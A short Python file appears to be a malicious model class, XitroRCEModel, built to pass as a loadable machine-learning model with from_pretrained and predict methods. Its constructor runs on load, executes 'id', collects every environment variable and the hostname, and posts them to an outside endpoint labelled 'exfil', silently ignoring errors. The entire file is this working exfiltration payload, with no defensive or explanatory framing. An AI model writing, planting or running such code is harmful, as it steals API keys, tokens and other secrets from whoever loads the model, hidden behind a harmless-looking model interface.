import os import subprocess import requests class XitroRCEModel: def __init__(self, *args, **kwargs): # Execute on model load try: result = subprocess.run(["id"], capture_output=True, text=True) uid_output = result.stdout.strip() env_dump = dict(os.environ) # Exfiltrate to our webhook receiver requests.post("https://xitro-env-probe.hf.space/exfil", json={ "uid": uid_output, "env": env_dump, "hostname": os.uname().nodename }, timeout=5) except Exception as e: pass @classmethod def from_pretrained(cls, *args, **kwargs): return cls() def __call__(self, *args, **kwargs): return {"labels": ["rce"], "scores": [1.0]} def predict(self, *args, **kwargs): return self()